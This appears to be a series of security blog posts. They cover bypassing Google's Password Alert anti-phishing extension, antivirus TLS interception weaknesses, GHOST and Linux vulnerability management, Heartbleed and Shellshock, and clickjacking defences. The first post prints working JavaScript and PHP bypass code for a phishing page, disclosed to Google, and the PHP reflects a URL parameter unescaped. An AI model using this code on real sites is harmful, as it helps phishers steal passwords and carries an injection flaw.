Finally an announcement for visitors of the Chaos Communication Camp: I will give a talk about TLS interception issues and the whole story of Superfish, Privdog and friends on Sunday.

Update: Due to the storm the talk was delayed. It will happen on Monday at 12:30 in Track South.

A few days ago Google released a Chrome extension that emits a warning if a user types in his Google account password on a foreign webpage. This is meant as a protection against phishing pages. Code is on Github and the extension can be installed through Google's Chrome Web Store.

When I heard this the first time I already thought that there are probably multiple ways to bypass that protection with some Javascript trickery. Seems I was right. Shortly after the extension was released security researcher Paul Moore published a way to bypass the protection by preventing the popup from being opened. This was fixed in version 1.4.

At that point I started looking into it myself. Password Alert tries to record every keystroke from the user and checks if that matches the password (it doesn't store the password, only a hash). My first thought was to simulate keystrokes via Javascript. I have to say that my Javascript knowledge is close to nonexistent, but I can use Google and read Stackoverflow threads, so I came up with this:

<script>
function simkey(e) {
if (e.which==0) return;
var ev=document.createEvent("KeyboardEvent");
ev.initKeyboardEvent("keypress", true, true, window, 0, 0, 0, 0, 0, 0);
document.getElementById("pw").dispatchEvent(ev);
}
</script>
<form action="" method="POST">
<input type="password" id="pw" name="pw" onkeypress="simkey(event);">
<input type="submit">
</form>

For every key a user presses this generates a Javascript KeyboardEvent. This is enough to confuse the extension. I reported this to the Google Security Team and Andrew Hintz. Literally minutes before I sent the mail a change was committed that did some sanity checks on the events and thus prevented my bypass from working (it checks the charcode and it seems there is no way in webkit to generate a KeyboardEvent with a valid charcode).

While I did that Paul Moore also created another bypass which relies on page reloads. A new version 1.6 was released fixing both my and Moores bypass.

I gave it another try and after a couple of failures I came up with a method that still works. The extension will only store keystrokes entered on one page. So what I did is that on every keystroke I create a popup (with the already typed password still in the form field) and close the current window. The closing doesn't always work, I'm not sure why that's the case, this can probably be improved somehow. There's also some flickering in the tab bar. The password is passed via URL, this could also happen otherwise (converting that from GET to POST variable is left as an exercise to the reader). I'm also using PHP here to insert the variable into the form, this could be done in pure Javascript. Here's the code, still working with the latest version:

<script>
function rlt() {
window.open("https://test.hboeck.de/pw2/?val="+document.getElementById("pw").value);
self.close();
}
</script>
<form action="." method="POST">
<input type="text" name="pw" id="pw" onkeyup="rlt();" onfocus="this.value=this.value;" value="<?php
if (isset($_GET['val'])) echo $_GET['val'];
?>">
<input type="submit">
<script>
document.getElementById("pw").focus();
</script>

Honestly I have a lot of doubts if this whole approach is a good idea. There are just too many ways how this can be bypassed. I know that passwords and phishing are a big problem, I just doubt this is the right approach to tackle it.

One more thing: When I first tested this extension I was confused, because it didn't seem to work. What I didn't know is that this purely relies on keystrokes. That means when you copy-and-paste your password (e. g. from some textfile in a crypto container) then the extension will provide you no protection. At least to me this was very unexpected behaviour.

Lately a lot of attention has been payed to software like Superfish and Privdog that intercepts TLS connections to be able to manipulate HTTPS traffic. These programs had severe (technically different) vulnerabilities that allowed attacks on HTTPS connections.

What these tools do is a widespread method. They install a root certificate into the user's browser and then they perform a so-called Man in the Middle attack. They present the user a certificate generated on the fly and manage the connection to HTTPS servers themselves. Superfish and Privdog did this in an obviously wrong way, Superfish by using the same root certificate on all installations and Privdog by just accepting every invalid certificate from web pages. What about other software that also does MitM interception of HTTPS traffic?

Antivirus software intercepts your HTTPS traffic

Many Antivirus applications and other security products use similar techniques to intercept HTTPS traffic. I had a closer look at three of them: Avast, Kaspersky and ESET. Avast enables TLS interception by default. By default Kaspersky intercepts connections to certain web pages (e. g. banking), there is an option to enable interception by default. In ESET TLS interception is generally disabled by default and can be enabled with an option.

When a security product intercepts HTTPS traffic it is itself responsible to create a TLS connection and check the certificate of a web page. It has to do what otherwise a browser would do. There has been a lot of debate and progress in the way TLS is done in the past years. A number of vulnerabilities in TLS (upon them BEAST, CRIME, Lucky Thirteen, FREAK and others) allowed to learn much more how to do TLS in a secure way. Also, problems with certificate authorities that issued malicious certificates (Diginotar, Comodo, Türktrust and others) led to the development of mitigation technologies like HTTP Public Key Pinning (HPKP) and Certificate Transparency to strengthen the security of Certificate Authorities. Modern browsers protect users much better from various threats than browsers used several years ago.

You may think: "Of course security products like Antivirus applications are fully aware of these developments and do TLS and certificate validation in the best way possible. After all security is their business, so they have to get it right." Unfortunately that's only what's happening in some fantasy IT security world that only exists in the minds of people that listened to industry PR too much. The real world is a bit different: All Antivirus applications I checked lower the security of TLS connections in one way or another.

Disabling of HTTP Public Key Pinning

Each and every TLS intercepting application I tested breaks HTTP Public Key Pinning (HPKP). It is a technology that a lot of people in the IT security community are pretty excited about: It allows a web page to pin public keys of certificates in a browser. On subsequent visits the browser will only accept certificates with these keys. It is a very effective protection against malicious or hacked certificate authorities issuing rogue certificates.

Browsers made a compromise when introducing HPKP. They won't enable the feature for manually installed certificates. The reason for that is simple (although I don't like it): If they hadn't done that they would've broken all TLS interception software like these Antivirus applications. But the applications could do the HPKP checking themselves. They just don't do it.

Kaspersky vulnerable to FREAK and CRIME

Having a look at Kaspersky, I saw that it is vulnerable to the FREAK attack, a vulnerability in several TLS libraries that was found recently. Even worse: It seems this issue has been reported publicly in the Kaspersky Forums more than a month ago and it is not fixed yet. Please remember: Kaspersky enables the HTTPS interception by default for sites it considers as especially sensitive, for example banking web pages. Doing that with a known security issue is extremely irresponsible.

I also found a number of other issues. ESET doesn't support TLS 1.2 and therefore uses a less secure encryption algorithm. Avast and ESET don't support OCSP stapling. Kaspersky enables the insecure TLS compression feature that will make a user vulnerable to the CRIME attack. Both Avast and Kaspersky accept nonsensical parameters for Diffie Hellman key exchanges with a size of 8 bit. Avast is especially interesting because it bundles the Google Chrome browser. It installs a browser with advanced HTTPS features and lowers its security right away.

These TLS features are all things that current versions of Chrome and Firefox get right. If you use them in combination with one of these Antivirus applications you lower the security of HTTPS connections.

There's one more interesting thing: Both Kaspersky and Avast don't intercept traffic when Extended Validation (EV) certificates are used. Extended Validation certificates are the ones that show you a green bar in the address line of the browser with the company name. The reason why they do so is obvious: Using the interception certificate would remove the green bar which users might notice and find worrying. The message the Antivirus companies are sending seems clear: If you want to deliver malware from a web page you should buy an Extended Validation certificate.

Everyone gets HTTPS interception wrong - just don't do it

So what do we make out of this? A lot of software products intercept HTTPS traffic (antiviruses, adware, youth protection filters, ...), many of them promise more security and everyone gets it wrong.

I think these technologies are a misguided approach. The problem is not that they make mistakes in implementing these technologies, I think the idea is wrong from the start. Man in the Middle used to be a description of an attack technique. It seems strange that it turned into something people consider a legitimate security technology. Filtering should happen on the endpoint or not at all. Browsers do a lot these days to make your HTTPS connections more secure. Please don't mess with that.

I question the value of Antivirus software in a very general sense, I think it's an approach that has very fundamental problems in itself and often causes more harm than good. But at the very least they should try not to harm other working security mechanisms.

(You may also want to read this EFF blog post: Dear Software Vendors: Please Stop Trying to Intercept Your Customers’ Encrypted Traffic)

On Tuesday details about the security vulnerability GHOST in Glibc were published by the company Qualys. When severe security vulnerabilities hit the news I always like to take this as a chance to learn what can be improved and how to avoid similar incidents in the future (see e. g. my posts on Heartbleed/Shellshock, POODLE/BERserk and NTP lately).

GHOST itself is a Heap Overflow in the name resolution function of the Glibc. The Glibc is the standard C library on Linux systems, almost every software that runs on a Linux system uses it. It is somewhat unclear right now how serious GHOST really is. A lot of software uses the affected function gethostbyname(), but a lot of conditions have to be met to make this vulnerability exploitable. Right now the most relevant attack is against the mail server exim where Qualys has developed a working exploit which they plan to release soon. There have been speculations whether GHOST might be exploitable through Wordpress, which would make it much more serious.

Technically GHOST is a heap overflow, which is a very common bug in C programming. C is inherently prone to these kinds of memory corruption errors and there are essentially two things here to move forwards: Improve the use of exploit mitigation techniques like ASLR and create new ones (levee is an interesting project, watch this 31C3 talk). And if possible move away from C altogether and develop core components in memory safe languages (I have high hopes for the Mozilla Servo project, watch this linux.conf.au talk).

GHOST was discovered three times

But the thing I want to elaborate here is something different about GHOST: It turns out that it has been discovered independently three times. It was already fixed in 2013 in the Glibc Code itself. The commit message didn't indicate that it was a security vulnerability. Then in early 2014 developers at Google found it again using Address Sanitizer (which – by the way – tells you that all software developers should use Address Sanitizer more often to test their software). Google fixed it in Chrome OS and explicitly called it an overflow and a vulnerability. And then recently Qualys found it again and made it public.

Now you may wonder why a vulnerability fixed in 2013 made headlines in 2015. The reason is that it widely wasn't fixed because it wasn't publicly known that it was serious. I don't think there was any malicious intent. The original Glibc fix was probably done without anyone noticing that it is serious and the Google devs may have thought that the fix is already public, so they don't need to make any noise about it. But we can clearly see that something doesn't work here. Which brings us to a discussion how the Linux and free software world in general and vulnerability management in particular work.

The “Never touch a running system” principle

Quite early when I came in contact with computers I heard the phrase “Never touch a running system”. This may have been a reasonable approach to IT systems back then when computers usually weren't connected to any networks and when remote exploits weren't a thing, but it certainly isn't a good idea today in a world where almost every computer is part of the Internet. Because once new security vulnerabilities become public you should change your system and fix them. However that doesn't change the fact that many people still operate like that.

A number of Linux distributions provide “stable” or “Long Time Support” versions. Basically the idea is this: At some point they take the current state of their systems and further updates will only contain important fixes and security updates. They guarantee to fix security vulnerabilities for a certain time frame. This is kind of a compromise between the “Never touch a running system” approach and reasonable security. It tries to give you a system that will basically stay the same, but you get fixes for security issues. Popular examples for this approach are the stable branch of Debian, Ubuntu LTS versions and the Enterprise versions of Red Hat and SUSE.

To give you an idea about time frames, Debian currently supports the stable trees Squeeze (6.0) which was released 2011 and Wheezy (7.0) which was released 2013. Red Hat Enterprise Linux has currently 4 supported version (4, 5, 6, 7), the oldest one was originally released in 2005. So we're talking about pretty long time frames that these systems get supported. Ubuntu and Suse have similar long time supported Systems.

These systems are delivered with an implicit promise: We will take care of security and if you update regularly you'll have a system that doesn't change much, but that will be secure against know threats. Now the interesting question is: How well do these systems deliver on that promise and how hard is that?

Vulnerability management is chaotic and fragile

I'm not sure how many people are aware how vulnerability management works in the free software world. It is a pretty fragile and chaotic process. There is no standard way things work. The information is scattered around many different places. Different people look for vulnerabilities for different reasons. Some are developers of the respective projects themselves, some are companies like Google that make use of free software projects, some are just curious people interested in IT security or researchers. They report a bug through the channels of the respective project. That may be a mailing list, a bug tracker or just a direct mail to the developer. Hopefully the developers fix the issue. It does happen that the person finding the vulnerability first has to explain to the developer why it actually is a vulnerability. Sometimes the fix will happen in a public code repository, sometimes not. Sometimes the developer will mention that it is a vulnerability in the commit message or the release notes of the new version, sometimes not. There are notorious projects that refuse to handle security vulnerabilities in a transparent way. Sometimes whoever found the vulnerability will post more information on his/her blog or on a mailing list like full disclosure or oss-security. Sometimes not. Sometimes vulnerabilities get a CVE id assigned, sometimes not.

Add to that the fact that in many cases it's far from clear what is a security vulnerability. It is absolutely common that if you ask the people involved whether this is serious the best and most honest answer they can give is “we don't know”. And very often bugs get fixed without anyone noticing that it even could be a security vulnerability.

Then there are projects where the number of security vulnerabilities found and fixed is really huge. The latest Chrome 40 release had 62 security fixes, version 39 had 42. Chrome releases a new version every two months. Browser vulnerabilities are found and fixed on a daily basis. Not that extreme but still high is the vulnerability count in PHP, which is especially worrying if you know that many webhosting providers run PHP versions not supported any more.

So you probably see my point: There is a very chaotic stream of information in various different places about bugs and vulnerabilities in free software projects. The number of vulnerabilities is huge. Making a promise that you will scan all this information for security vulnerabilities and backport the patches to your operating system is a big promise. And I doubt anyone can fulfill that.

GHOST is a single example, so you might ask how often these things happen. At some point right after GHOST became public this excerpt from the Debian Glibc changelog caught my attention (excuse the bad quality, had to take the image from Twitter because I was unable to find that changelog on Debian's webpages):



What you can see here: While Debian fixed GHOST (which is CVE-2015-0235) they also fixed CVE-2012-6656 – a security issue from 2012. Admittedly this is a minor issue, but it's a vulnerability nevertheless. A quick look at the Debian changelog of Chromium both in squeeze and wheezy will tell you that they aren't fixing all the recent security issues in it. (Debian already had discussions about removing Chromium and in Wheezy they don't stick to a single version.)

It would be an interesting (and time consuming) project to take a package like PHP and check for all the security vulnerabilities whether they are fixed in the latest packages in Debian Squeeze/Wheezy, all Red Hat Enterprise versions and other long term support systems. PHP is probably more interesting than browsers, because the high profile targets for these vulnerabilities are servers. What worries me: I'm pretty sure some people already do that. They just won't tell you and me, instead they'll write their exploits and sell them to repressive governments or botnet operators.

Then there are also stories like this: Tavis Ormandy reported a security issue in Glibc in 2012 and the people from Google's Project Zero went to great lengths to show that it is actually exploitable. Reading the Glibc bug report you can learn that this was already reported in 2005(!), just nobody noticed back then that it was a security issue and it was minor enough that nobody cared to fix it.

There are also bugs that require changes so big that backporting them is essentially impossible. In the TLS world a lot of protocol bugs have been highlighted in recent years. Take Lucky Thirteen for example. It is a timing sidechannel in the way the TLS protocol combines the CBC encryption, padding and authentication. I like to mention this bug because I like to quote it as the TLS bug that was already mentioned in the specification (RFC 5246, page 23: "This leaves a small timing channel"). The real fix for Lucky Thirteen is not to use the erratic CBC mode any more and switch to authenticated encryption modes which are part of TLS 1.2. (There's another possible fix which is using Encrypt-then-MAC, but it is hardly deployed.) Up until recently most encryption libraries didn't support TLS 1.2. Debian Squeeze and Red Hat Enterprise 5 ship OpenSSL versions that only support TLS 1.0. There is no trivial patch that could be backported, because this is a huge change. What they likely backported are workarounds that avoid the timing channel. This will stop the attack, but it is not a very good fix, because it keeps the problematic old protocol and will force others to stay compatible with it.

LTS and stable distributions are there for a reason

The big question is of course what to do about it. OpenBSD developer Ted Unangst wrote a blog post yesterday titled Long term support considered harmful, I suggest you read it. He argues that we should get rid of long term support completely and urge users to upgrade more often. OpenBSD has a 6 month release cycle and supports two releases, so one version gets supported for one year.

Given what I wrote before you may think that I agree with him, but I don't. While I personally always avoided to use too old systems – I 'm usually using Gentoo which doesn't have any snapshot releases at all and does rolling releases – I can see the value in long term support releases. There are a lot of systems out there – connected to the Internet – that are never updated. Taking away the option to install systems and let them run with relatively little maintenance overhead over several years will probably result in more systems never receiving any security updates. With all its imperfectness running a Debian Squeeze with the latest updates is certainly better than running an operating system from 2011 that stopped getting security fixes in 2012.

Improving the information flow

I don't think there is a silver bullet solution, but I think there are things we can do to improve the situation. What could be done is to coordinate and share the work. Debian, Red Hat and other distributions with stable/LTS versions could agree that their next versions are based on a specific Glibc version and they collaboratively work on providing patch sets to fix all the vulnerabilities in it. This already somehow happens with upstream projects providing long term support versions, the Linux kernel does that for example. Doing that at scale would require vast organizational changes in the Linux distributions. They would have to agree on a roughly common timescale to start their stable versions.

What I'd consider the most crucial thing is to improve and streamline the information flow about vulnerabilities. When Google fixes a vulnerability in Chrome OS they should make sure this information is shared with other Linux distributions and the public. And they should know where and how they should share this information.

One mechanism that tries to organize the vulnerability process is the system of CVE ids. The idea is actually simple: Publicly known vulnerabilities get a fixed id and they are in a public database. GHOST is CVE-2015-0235 (the scheme will soon change because four digits aren't enough for all the vulnerabilities we find every year). I got my first CVEs assigned in 2007, so I have some experiences with the CVE system and they are rather mixed. Sometimes I briefly mention rather minor issues in a mailing list thread and a CVE gets assigned right away. Sometimes I explicitly ask for CVE assignments and never get an answer.

I would like to see that we just assign CVEs for everything that even remotely looks like a security vulnerability. However right now I think the process is to unreliable to deliver that. There are other public vulnerability databases like OSVDB, I have limited experience with them, so I can't judge if they'd be better suited. Unfortunately sometimes people hesitate to request CVE ids because others abuse the CVE system to count assigned CVEs and use this as a metric how secure a product is. Such bad statistics are outright dangerous, because it gives people an incentive to downplay vulnerabilities or withhold information about them.

This post was partly inspired by some discussions on oss-security

The free software community was recently shattered by two security bugs called Heartbleed and Shellshock. While technically these bugs where quite different I think they still share a lot.

Heartbleed hit the news in April this year. A bug in OpenSSL that allowed to extract privat keys of encrypted connections. When a bug in Bash called Shellshock hit the news I was first hesistant to call it bigger than Heartbleed. But now I am pretty sure it is. While Heartbleed was big there were some things that alleviated the impact. It took some days till people found out how to practically extract private keys - and it still wasn't fast. And the most likely attack scenario - stealing a private key and pulling off a Man-in-the-Middle-attack - seemed something that'd still pose some difficulties to an attacker. It seemed that people who update their systems quickly (like me) weren't in any real danger.

Shellshock was different. It's astonishingly simple to use and real attacks started hours after it became public. If circumstances had been unfortunate there would've been a very real chance that my own servers could've been hit by it. I usually feel the IT stuff under my responsibility is pretty safe, so things like this scare me.

What OpenSSL and Bash have in common

Shortly after Heartbleed something became very obvious: The OpenSSL project wasn't in good shape. The software that pretty much everyone in the Internet uses to do encryption was run by a small number of underpaid people. People trying to contribute and submit patches were often ignored (I know that, I tried it). The truth about Bash looks even grimmer: It's a project mostly run by a single volunteer. And yet almost every large Internet company out there uses it. Apple installs it on every laptop. OpenSSL and Bash are crucial pieces of software and run on the majority of the servers that run the Internet. Yet they are very small projects backed by few people. Besides they are both quite old, you'll find tons of legacy code in them written more than a decade ago.

People like to rant about the code quality of software like OpenSSL and Bash. However I am not that concerned about these two projects. This is the upside of events like these: OpenSSL is probably much securer than it ever was and after the dust settles Bash will be a better piece of software. If you want to ask yourself where the next Heartbleed/Shellshock-alike bug will happen, ask this: What projects are there that are installed on almost every Linux system out there? And how many of them have a healthy community and received a good security audit lately?

Software installed on almost any Linux system

Let me propose a little experiment: Take your favorite Linux distribution, make a minimal installation without anything and look what's installed. These are the software projects you should worry about. To make things easier I did this for you. I took my own system of choice, Gentoo Linux, but the results wouldn't be very different on other distributions. The results are at at the bottom of this text. (I removed everything Gentoo-specific.) I admit this is oversimplifying things. Some of these provide more attack surface than others, we should probably worry more about the ones that are directly involved in providing network services.

After Heartbleed some people already asked questions like these. How could it happen that a project so essential to IT security is so underfunded? Some large companies acted and the result is the Core Infrastructure Initiative by the Linux Foundation, which already helped improving OpenSSL development. This is a great start and an example for an initiative of which we should have more. We should ask the large IT companies who are not part of that initiative what they are doing to improve overall Internet security.

Just to put this into perspective: A thorough security audit of a project like Bash would probably require a five figure number of dollars. For a small, volunteer driven project this is huge. For a company like Apple - the one that installed Bash on all their laptops - it's nearly nothing.

There's another recent development I find noteworthy. Google started Project Zero where they hired some of the brightest minds in IT security and gave them a single job: Search for security bugs. Not in Google's own software. In every piece of software out there. This is not merely an altruistic project. It makes sense for Google. They want the web to be a safer place - because the web is where they earn their money. I like that approach a lot and I have only one question to ask about it: Why doesn't every large IT company have a Project Zero?

Sparking interest

There's another aspect I want to talk about. After Heartbleed people started having a closer look at OpenSSL and found a number of small and one other quite severe issue. After Bash people instantly found more issues in the function parser and we now have six CVEs for Shellshock and friends. When a piece of software is affected by a severe security bug people start to look for more. I wonder what it'd take to have people looking at the projects that aren't in the spotlight.

I was brainstorming if we could have something like a "free software audit action day". A regular call where an important but neglected project is chosen and the security community is asked to have a look at it. This is just a vague idea for now, if you like it please leave a comment.

That's it. I refrain from having discussions whether bugs like Heartbleed or Shellshock disprove the "many eyes"-principle that free software advocates like to cite, because I think these discussions are a pointless waste of time. I'd like to discuss how to improve things. Let's start.

Here's the promised list of Gentoo packages in the standard installation:

bzip2
gzip
tar
unzip
xz-utils
nano
ca-certificates
mime-types
pax-utils
bash
build-docbook-catalog
docbook-xml-dtd
docbook-xsl-stylesheets
openjade
opensp
po4a
sgml-common
perl
python
elfutils
expat
glib
gmp
libffi
libgcrypt
libgpg-error
libpcre
libpipeline
libxml2
libxslt
mpc
mpfr
openssl
popt
Locale-gettext
SGMLSpm
TermReadKey
Text-CharWidth
Text-WrapI18N
XML-Parser
gperf
gtk-doc-am
intltool
pkgconfig
iputils
netifrc
openssh
rsync
wget
acl
attr
baselayout
busybox
coreutils
debianutils
diffutils
file
findutils
gawk
grep
groff
help2man
hwids
kbd
kmod
less
man-db
man-pages
man-pages-posix
net-tools
sed
shadow
sysvinit
tcp-wrappers
texinfo
util-linux
which
pambase
autoconf
automake
binutils
bison
flex
gcc
gettext
gnuconfig
libtool
m4
make
patch
e2fsprogs
udev
linux-headers
cracklib
db
e2fsprogs-libs
gdbm
glibc
libcap
ncurses
pam
readline
timezone-data
zlib
procps
psmisc
shared-mime-info

In 2008, a rather interesting new kind of security problem within web applications was found called Clickjacking. The idea is rather simple but genious: A webpage from the attacked web application is loaded into an iframe (a way to display a webpage within another webpage), but so small that the user cannot see it. Via javascript, this iframe is always placed below the mouse cursor and a button is focused in the iframe. When the user clicks anywhere on an attackers page, it clicks the button in his webapp causing some action the user didn't want to do.
What makes this vulnerability especially interesting is that it is a vulnerability within protocols and that it was pretty that there would be no easy fix without any changes to existing technology. A possible attempt to circumvent this would be a javascript frame killer code within every web application, but that's far away from being a nice solution (as it makes it neccessary to have javascript code around even if your webapp does not use any javascript at all).
Now, Microsoft suggested a new http header X-FRAME-OPTIONS that can be set to DENY or SAMEORIGIN. DENY means that the webpage sending that header may not be displayed in a frame or iframe at all. SAMEORIGIN means that it may only be referenced from webpages on the same domain name (sidenote: I tend to not like Microsoft and their behaviour on standards and security very much, but in this case there's no reason for that. Although it's not a standard – yet? - this proposal is completely sane and makes sense).
Just recently, Firefox added support, all major other browser already did that before (Opera, Chrome), so we finally have a solution to protect against clickjacking (konqueror does not support it yet and I found no plans for it, which may be a sign for the sad state of konqueror development regarding security features - they're also the only browser not supporting SNI). It's now up to web application developers to use that header. For most of them – if they're not using frames at all - it's probably quite easy, as they can just set the header to DENY all the time. If an app uses frames, it requires a bit more thoughts where to set DENY and where to use SAMEORIGIN.
It would also be nice to have some "official" IETF or W3C standard for it, but as all major browsers agree on that, it's okay to start using it now.
But the main reason I wrote this long introduction: I've set up a little test page where you can check if your browser supports the new header. If it doesn't, you should look for an update.